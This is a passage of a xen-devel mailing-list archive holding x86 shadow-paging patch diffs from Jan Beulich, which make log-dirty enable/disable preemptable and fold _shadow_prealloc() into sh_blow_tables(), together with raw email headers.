         return 0;
-    }
 
     if ( !d->arch.paging.preempt.dom )
     {
@@ -121,10 +118,7 @@ static int paging_free_log_dirty_bitmap(
     }
     else if ( d->arch.paging.preempt.dom != current->domain ||
               d->arch.paging.preempt.op != XEN_DOMCTL_SHADOW_OP_OFF )
-    {
-        paging_unlock(d);
         return -EBUSY;
-    }
 
     l4 = map_domain_page(d->arch.paging.log_dirty.top);
     i4 = d->arch.paging.preempt.log_dirty.i4;
@@ -196,12 +190,11 @@ static int paging_free_log_dirty_bitmap(
         d->arch.paging.preempt.op = XEN_DOMCTL_SHADOW_OP_OFF;
     }
 
-    paging_unlock(d);
-
     return rc;
 }
 
-static int paging_log_dirty_enable(struct domain *d)
+static int paging_log_dirty_enable(struct domain *d, unsigned int op,
+                                   bool resuming)
 {
     int ret;
 
@@ -217,9 +210,42 @@ static int paging_log_dirty_enable(struc
     if ( paging_mode_log_dirty(d) )
         return -EINVAL;
 
-    domain_pause(d);
+    if ( !resuming )
+        domain_pause(d);
+
+    paging_lock(d);
+
+    if ( d->arch.paging.preempt.dom &&
+         (d->arch.paging.preempt.dom != current->domain ||
+          d->arch.paging.preempt.op != op) )
+    {
+        paging_unlock(d);
+        if ( !resuming )
+            domain_unpause(d);
+        return -EBUSY;
+    }
+
     ret = d->arch.paging.log_dirty.ops->enable(d);
-    domain_unpause(d);
+
+    if ( ret > 0 )
+    {
+        /* Paging lock dropped by hook. */
+        domain_unpause(d);
+        ret = 0;
+    }
+    else if ( ret != -ERESTART )
+    {
+        d->arch.paging.preempt.dom = NULL;
+        paging_unlock(d);
+        domain_unpause(d);
+    }
+    else
+    {
+        ASSERT(!paging_mode_log_dirty(d));
+        d->arch.paging.preempt.dom = current->domain;
+        d->arch.paging.preempt.op = op;
+        paging_unlock(d);
+    }
 
     return ret;
 }
@@ -229,21 +255,49 @@ static int paging_log_dirty_disable(stru
     int ret = 1;
 
     if ( !resuming )
-    {
         domain_pause(d);
-        /* Safe because the domain is paused. */
-        if ( paging_mode_log_dirty(d) )
+
+    paging_lock(d);
+
+    if ( d->arch.paging.preempt.dom &&
+         (d->arch.paging.preempt.dom != current->domain ||
+          d->arch.paging.preempt.op != XEN_DOMCTL_SHADOW_OP_OFF) )
+    {
+        paging_unlock(d);
+        if ( !resuming )
+            domain_unpause(d);
+        return -EBUSY;
+    }
+
+    /* Safe because the domain is paused. */
+    if ( paging_mode_log_dirty(d) )
+    {
+        ret = d->arch.paging.log_dirty.ops->disable(d);
+        if ( ret > 0 ) /* Paging lock dropped by hook? */
+        {
+            paging_lock(d);
+            ret = 0;
+        }
+        else if ( ret != -ERESTART )
+            d->arch.paging.preempt.dom = NULL;
+        else
         {
-            ret = d->arch.paging.log_dirty.ops->disable(d);
-            ASSERT(ret <= 0);
+            ASSERT(paging_mode_log_dirty(d));
+            d->arch.paging.preempt.dom = current->domain;
+            d->arch.paging.preempt.op = XEN_DOMCTL_SHADOW_OP_OFF;
+            paging_unlock(d);
+            return ret;
         }
+
+        ASSERT(ret < 0 || !paging_mode_log_dirty(d));
     }
 
     ret = paging_free_log_dirty_bitmap(d, ret);
-    if ( ret == -ERESTART )
-        return ret;
 
-    domain_unpause(d);
+    paging_unlock(d);
+
+    if ( ret != -ERESTART )
+        domain_unpause(d);
 
     return ret;
 }
@@ -720,7 +774,7 @@ int paging_domctl(struct domain *d, stru
             break;
         fallthrough;
     case XEN_DOMCTL_SHADOW_OP_ENABLE_LOGDIRTY:
-        return paging_log_dirty_enable(d);
+        return paging_log_dirty_enable(d, sc->op, resuming);
 
     case XEN_DOMCTL_SHADOW_OP_OFF:
         if ( (rc = paging_log_dirty_disable(d, resuming)) != 0 )
@@ -812,7 +866,9 @@ int paging_teardown(struct domain *d)
 
 #if PG_log_dirty
     /* clean up log dirty resources. */
+    paging_lock(d);
     rc = paging_free_log_dirty_bitmap(d, 0);
+    paging_unlock(d);
     if ( rc == -ERESTART )
         return rc;
 #endif
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -2567,13 +2567,22 @@ static int cf_check sh_enable_log_dirty(
 {
     int ret;
 
-    paging_lock(d);
+    ASSERT(paging_locked_by_me(d));
+
     if ( shadow_mode_enabled(d) )
     {
-        /* This domain already has some shadows: need to clear them out
+        bool preempted = false;
+
+        /*
+         * This domain already has some shadows: need to clear them out
          * of the way to make sure that all references to guest memory are
-         * properly write-protected */
-        shadow_blow_tables(d, NULL);
+         * properly write-protected.
+         *
+         * Furthermore see sh_disable_log_dirty() below.
+         */
+        shadow_blow_tables(d, &preempted);
+        if ( preempted )
+            return -ERESTART;
     }
 
 #if (SHADOW_OPTIMIZATIONS & SHOPT_LINUX_L3_TOPLEVEL)
@@ -2585,7 +2594,6 @@ static int cf_check sh_enable_log_dirty(
 #endif
 
     ret = shadow_one_bit_enable(d, PG_log_dirty);
-    paging_unlock(d);
 
     return ret;
 }
@@ -2593,13 +2601,18 @@ static int cf_check sh_enable_log_dirty(
 /* shadow specfic code which is called in paging_log_dirty_disable() */
 static int cf_check sh_disable_log_dirty(struct domain *d)
 {
-    int ret;
+    bool preempted = false;
 
-    paging_lock(d);
-    ret = shadow_one_bit_disable(d, PG_log_dirty);
-    paging_unlock(d);
+    ASSERT(paging_locked_by_me(d));
 
-    return ret;
+    /*
+     * Limit the amount of work to do from sh_detach_old_tables() (called from
+     * shadow_one_bit_disable() via sh_new_mode() -> sh_update_paging_modes()),
+     * such that it doesn't also need to deal with preemption checks.
+     */
+    shadow_blow_tables(d, &preempted);
+
+    return preempted ? -ERESTART : shadow_one_bit_disable(d, PG_log_dirty);
 }
 
 /* This function is called when we CLEAN log dirty bitmap. See



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:23:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:23:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374396.1621558 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihx-0003xk-0D; Tue, 28 Jul 2026 14:23:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374396.1621558; Tue, 28 Jul 2026 14:23:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woihw-0003xa-TD; Tue, 28 Jul 2026 14:23:00 +0000
Received: by outflank-mailman (input) for mailman id 1374396;
 Tue, 28 Jul 2026 14:22:59 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woihv-0003vs-1N
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:22:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woihu-004xX0-E4
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:22:58 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb33-2eae-0a2a0a5409dd-0a2a4502ac72-34
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:58 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb42-6ca4-0a2a45020019-d1558036c5e5-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:22:58 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4954c0833b4so29224255e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:22:58 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45cb67esm86210395e9.8.2026.07.28.07.22.56
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:22:57 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248578; x=1785853378; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=g3jdcGX3ZHkyd51//1sqLgUrNqK78wVltQSxO9SrAuc=;
        b=Y9RlXmUOcWtX+GwCgMBsFEzimD6JRZTYK2LYylH3qwhfThBD//MjWLF5Ba0hZ3yKfa
         x6XJ8apVIATXZ6EswDohIYzTXZU/EOg6I2+QNxCvbokA9h9dpmR7vysJ7YpaE2k9FsJb
         0hxYc7gIdB5eUYAUNE3pEqVyT4sAFKv/yt4kXZht1QSud1C20LD2T8W6cGRGkyJF70rb
         macKyD9jlj8V37eyJXwUnoPB4ukmoRvN25yQB+fX3xNn1DUq2/7tTlg+4p+a2d+04LBC
         +dEwhiN6JgLWCJnLvMLFPrkBVrEkoMVTXPAOYMiNav3ZNqDCc6cyWAnAgCmanVXcwX1p
         OVVg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248578; x=1785853378;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=g3jdcGX3ZHkyd51//1sqLgU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J3bjw==
X-Received: by 2002:a05:600c:6095:b0:495:6022:5a14 with SMTP id 5b1f17b1804b1-496c65802a3mr28931925e9.34.1785248577796;
        Tue, 28 Jul 2026 07:22:57 -0700 (PDT)
Message-ID: <548d021a-7299-4ca4-afae-00fce1c1d549@suse.com>
Date: Tue, 28 Jul 2026 16:22:56 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 07/10] x86/shadow: fold _shadow_prealloc() with
 shadow_blow_tables()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Tim Deegan <tim@xen.org>
References: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <68c16600-a4bf-4060-a1fc-56c4ae655b03@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785248578-F0CA22AC-5F56EB08/0/0
X-purgate-type: clean
X-purgate-size: 10900

The two functions are pretty similar, and hence changes commonly need to
occur in both places. Fold the functions by introducing a new shared
helper, which then will be used from the three relevant places. Note
that this way preemptability can then be communicated down from
shadow_set_allocation() right away.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
To have the compiler eliminate the extra conditionals, should we make
sh_blow_tables() always-inline?
---
v14: New.

--- a/xen/arch/x86/include/asm/perfc_defn.h
+++ b/xen/arch/x86/include/asm/perfc_defn.h
@@ -49,7 +49,8 @@ PERFCOUNTER(shadow_alloc_tlbflush, "shad
 /* STATUS counters do not reset when 'P' is hit */
 PERFSTATUS(shadow_alloc_count,         "number of shadow pages in use")
 PERFCOUNTER(shadow_free,           "calls to shadow_free")
-PERFCOUNTER(shadow_prealloc_1,     "shadow recycles old shadows")
+PERFCOUNTER(shadow_prealloc_0,     "shadow recycles old shadows")
+PERFCOUNTER(shadow_prealloc_1,     "shadow recycles pinned shadows")
 PERFCOUNTER(shadow_prealloc_2,     "shadow recycles in-use shadows")
 PERFCOUNTER(shadow_linear_map_failed, "shadow hit read-only linear map")
 PERFCOUNTER(shadow_a_update,       "shadow A bit update")
--- a/xen/arch/x86/mm/shadow/common.c
+++ b/xen/arch/x86/mm/shadow/common.c
@@ -370,79 +370,8 @@ static inline void trace_shadow_prealloc
     }
 }
 
-/* Make sure there are at least count order-sized pages
- * available in the shadow page pool. */
-static bool __must_check _shadow_prealloc(struct domain *d, unsigned int pages)
-{
-    struct vcpu *v;
-    struct page_info *sp, *t;
-    mfn_t smfn;
-    int i;
-
-    if ( d->arch.paging.free_pages >= pages )
-        return true;
-
-    if ( unlikely(d->is_dying) )
-        /* No reclaim when the domain is dying, teardown will take care of it. */
-        return false;
-
-    /* Nothing to reclaim when there are no vcpus yet. */
-    if ( !d->vcpu[0] )
-        return false;
-
-    /* Stage one: walk the list of pinned pages, unpinning them */
-    perfc_incr(shadow_prealloc_1);
-    foreach_pinned_shadow(d, sp, t)
-    {
-        smfn = page_to_mfn(sp);
-
-        /* Unpin this top-level shadow */
-        trace_shadow_prealloc_unpin(d, smfn);
-        sh_unpin(d, smfn);
-
-        /* See if that freed up enough space */
-        if ( d->arch.paging.free_pages >= pages )
-            return true;
-    }
-
-    /* Stage two: all shadow pages are in use in hierarchies that are
-     * loaded in cr3 on some vcpu.  Walk them, unhooking the non-Xen
-     * mappings. */
-    perfc_incr(shadow_prealloc_2);
-
-    for_each_vcpu(d, v)
-        for ( i = 0; i < ARRAY_SIZE(v->arch.paging.shadow.shadow_table); i++ )
-        {
-            if ( !pagetable_is_null(v->arch.paging.shadow.shadow_table[i]) )
-            {
-                TRACE_SHADOW_PATH_FLAG(TRCE_SFLAG_PREALLOC_UNHOOK);
-                shadow_unhook_mappings(
-                    d,
-                    pagetable_get_mfn(v->arch.paging.shadow.shadow_table[i]),
-                    0);
-
-                /* See if that freed up enough space */
-                if ( d->arch.paging.free_pages >= pages )
-                {
-                    guest_flush_tlb_mask(d, d->dirty_cpumask);
-                    return true;
-                }
-            }
-        }
-
-    /* Nothing more we can do: all remaining shadows are of pages that
-     * hold Xen mappings for some vcpu.  This can never happen. */
-    printk(XENLOG_ERR "Can't pre-allocate %u shadow pages!\n"
-           "  shadow pages total = %u, free = %u, p2m=%u\n",
-           pages, d->arch.paging.total_pages,
-           d->arch.paging.free_pages, d->arch.paging.p2m_pages);
-
-    ASSERT_UNREACHABLE();
-
-    guest_flush_tlb_mask(d, d->dirty_cpumask);
-
-    return false;
-}
+static bool sh_blow_tables(struct domain *d, unsigned int goal,
+                           bool *preempted);
 
 /* Make sure there are at least count pages of the order according to
  * type available in the shadow page pool.
@@ -466,7 +395,7 @@ bool shadow_prealloc(struct domain *d, u
          ((SHF_L1_ANY | SHF_FL1_ANY) & (1u << type)) )
         count += paging_logdirty_levels();
 
-    ret = _shadow_prealloc(d, count);
+    ret = sh_blow_tables(d, count, NULL);
     if ( !ret && (!d->is_shutting_down || d->shutdown_code != SHUTDOWN_crash) )
         /*
          * Failing to allocate memory required for shadow usage can only result in
@@ -477,9 +406,15 @@ bool shadow_prealloc(struct domain *d, u
     return ret;
 }
 
-/* Deliberately free all the memory we can: this will tear down all of
- * this domain's shadows */
-void shadow_blow_tables(struct domain *d, bool *preempted)
+/*
+ * When @goal is zero: Deliberately free all the memory we can: This will
+ * tear down all of this domain's shadows.
+ *
+ * When @goal is non-zero: Make sure there are at least as many pages
+ * available in the shadow page pool.
+ */
+static bool sh_blow_tables(struct domain *d, unsigned int goal,
+                           bool *preempted)
 {
     struct page_info *sp, *t;
     struct vcpu *v;
@@ -487,19 +422,25 @@ void shadow_blow_tables(struct domain *d
     int i;
     unsigned int done = 0;
 
+    if ( goal && d->arch.paging.free_pages >= goal )
+        return true;
+
     /*
      * When the domain is dying a call to shadow_blow_tables() will be
      * performed from the teardown path with preemption support, ignore any
      * other calls as we want to do the final teardown with preemption support.
      * Teardown of shadow related data can only be avoided when all domain
      * vCPUs are stopped.
+     *
+     * For the pre-allocation case, no reclaim when the domain is dying,
+     * teardown will take care of it.
      */
-    if ( unlikely(d->is_dying) && !preempted )
-        return;
+    if ( unlikely(d->is_dying) && (goal || !preempted) )
+        return false;
 
     /* Nothing to do when there are no vcpus yet. */
     if ( !d->vcpu[0] )
-        return;
+        return false;
 
     /* First pass: reduce page table depth */
     if ( preempted )
@@ -513,16 +454,23 @@ void shadow_blow_tables(struct domain *d
 #endif
         };
 
+        if ( goal )
+            perfc_incr(shadow_prealloc_0);
+
         HASH_CALLBACKS_CHECK(SHF_page_type_mask & ~(SHF_L1_ANY | SHF_FL1_ANY));
 
         for ( i = 0; i < ARRAY_SIZE(masks); ++i )
         {
             while ( hash_foreach(d, masks[i], callbacks, _mfn(0)) )
             {
+                /* See if that freed up enough space */
+                if ( goal && d->arch.paging.free_pages >= goal )
+                    return true;
+
                 if ( general_preempt_check() )
                 {
                     *preempted = true;
-                    return;
+                    return false;
                 }
             }
         }
@@ -530,18 +478,31 @@ void shadow_blow_tables(struct domain *d
     }
 
     /* Second pass: unpin all pinned pages */
+    if ( goal )
+        perfc_incr(shadow_prealloc_1);
     foreach_pinned_shadow(d, sp, t)
     {
         smfn = page_to_mfn(sp);
+
+        /* Unpin this top-level shadow */
+        if ( goal )
+            trace_shadow_prealloc_unpin(d, smfn);
         sh_unpin(d, smfn);
+
+        /* See if that freed up enough space */
+        if ( goal && d->arch.paging.free_pages >= goal )
+            return true;
+
         if ( preempted && !(++done & 0xff) && general_preempt_check() )
         {
             *preempted = true;
-            return;
+            return false;
         }
     }
 
     /* Third pass: unhook entries of in-use shadows */
+    if ( goal )
+        perfc_incr(shadow_prealloc_2);
     for_each_vcpu(d, v)
         for ( i = 0; i < ARRAY_SIZE(v->arch.paging.shadow.shadow_table); i++ )
             if ( !pagetable_is_null(v->arch.paging.shadow.shadow_table[i]) )
@@ -549,11 +510,20 @@ void shadow_blow_tables(struct domain *d
                 unsigned int num = d->arch.paging.total_pages -
                                    d->arch.paging.free_pages;
 
+                if ( goal )
+                    TRACE_SHADOW_PATH_FLAG(TRCE_SFLAG_PREALLOC_UNHOOK);
                 shadow_unhook_mappings(
                     d,
                     pagetable_get_mfn(v->arch.paging.shadow.shadow_table[i]),
                     0);
 
+                /* See if that freed up enough space */
+                if ( goal && d->arch.paging.free_pages >= goal )
+                {
+                    guest_flush_tlb_mask(d, d->dirty_cpumask);
+                    return true;
+                }
+
                 /*
                  * Make sure we are making progress before yielding: if domain
                  * is dying progress will be seen by total_pages decreasing, if
@@ -573,9 +543,32 @@ void shadow_blow_tables(struct domain *d
                 }
             }
 
+    if ( goal )
+    {
+        /*
+         * Nothing more we can do: All remaining shadows are of pages that
+         * hold Xen mappings for some vcpu.  This can never happen.
+         */
+        printk(XENLOG_ERR "Can't pre-allocate %u shadow pages!\n"
+               "  shadow pages total = %u, free = %u, p2m=%u\n",
+               goal, d->arch.paging.total_pages,
+               d->arch.paging.free_pages, d->arch.paging.p2m_pages);
+
+        ASSERT_UNREACHABLE();
+    }
+
  out:
     /* Make sure everyone sees the unshadowings */
     guest_flush_tlb_mask(d, d->dirty_cpumask);
+
+    return false;
+}
+
+/* Deliberately free all the memory we can: this will tear down all of
+ * this domain's shadows */
+void shadow_blow_tables(struct domain *d, bool *preempted)
+{
+    sh_blow_tables(d, 0, preempted);
 }
 
 void shadow_blow_tables_per_domain(struct domain *d)
@@ -910,8 +903,8 @@ int shadow_set_allocation(struct domain
         else if ( d->arch.paging.total_pages > pages )
         {
             /* Need to return memory to domheap */
-            if ( !_shadow_prealloc(d, 1) )
-                return -ENOMEM;
+            if ( !sh_blow_tables(d, 1, preempted) )
+                return preempted && *preempted ? 0 : -ENOMEM;
 
             sp = page_list_remove_head(&d->arch.paging.freelist);
             ASSERT(sp);
@@ -2320,7 +2313,7 @@ void shadow_teardown(struct domain *d, b
 
     /*
      * Reclaim all shadow memory so that shadow_set_allocation() doesn't find
-     * in-use pages, as _shadow_prealloc() will no longer try to reclaim pages
+     * in-use pages, as sh_blow_tables() will no longer try to reclaim pages
      * because the domain is dying.
      */
     paging_lock(d);



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:23:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:23:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374405.1621567 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiiJ-0004Sy-7s; Tue, 28 Jul 2026 14:23:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374405.1621567; Tue, 28 Jul 2026 14:23:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiiJ-0004Sr-4x; Tue, 28 Jul 2026 14:23:23 +0000
Received: by outflank-mailman (input) for mailman id 1374405;
 Tue, 28 Jul 2026 14:23:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiiH-0004SU-Ih
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:23:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiiG-007NWv-Vj
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 16:23:20 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb4c-e002-0a2a0a5209dd-0a2a4504d6e4-36
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:23:20 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68bb58-b57f-0a2a45040019-d155802eecfd-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 16:23:20 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4954dff6536so27607815e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:23:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9ae5c3sm429559225e9.3.2026.07.28.07.23.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 07:23:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785248600; x=1785853400; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=w1o+lRjL5Bu7MJj4eoJSBjI4Yb8dSfa5/A/XYawdiOo=;
        b=JwW2JhE10m8PYeo+htnT6JIt8x135vxDxvQ4aMp0GfcK3iXsKGCEgILrgXO/GbEu8e
         13O3BJkuVtCUHHV4LyBKu2ClN0ixVOytNtSEmYj84rglo0wG6xqETEzeGJyYi/XvT176
         QmFlUh15r4WDKHpFxw2yu7t3BhUnMORtkWi2toKOpfkEYBkzYTdVkCZjGtd92yezaS7d
         4+zthzFi0WOL1m2XJR8y8VQtQ0ZwvwcyHP7RxEtxNZXF9Rzeam4XyJ5eCwudG0ZmryfN
         hSETK2mqIj04WN48XzFUEzb1aCdZ8ckTSyw7Pp/d+F7y7aXNCnihkuwYx1GGpvq2q5x0
         5f+w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785248600; x=1785853400;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=w1o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qCheoO/IHi1tSg9j2mqLe1AAtMl
	k6c
X-Received: by 2002:a05:600c:1d1b:b0:493:bb0:3b43 with SMTP id 5b1f17b1804b1-496c6426bc8mr31339625e9.2.1785248600381;
        Tue, 28 Jul 2026 07:23:20 -0700 (PDT)
Message-ID: <0051a0fb-9ca7-4f90-960e-08e0898ea874@suse.com>
Date: Tue, 28 Jul 2026 16:23:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v15 08/10] x86/shadow: make log-dirty mode enable/disable
 properly preemptable
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
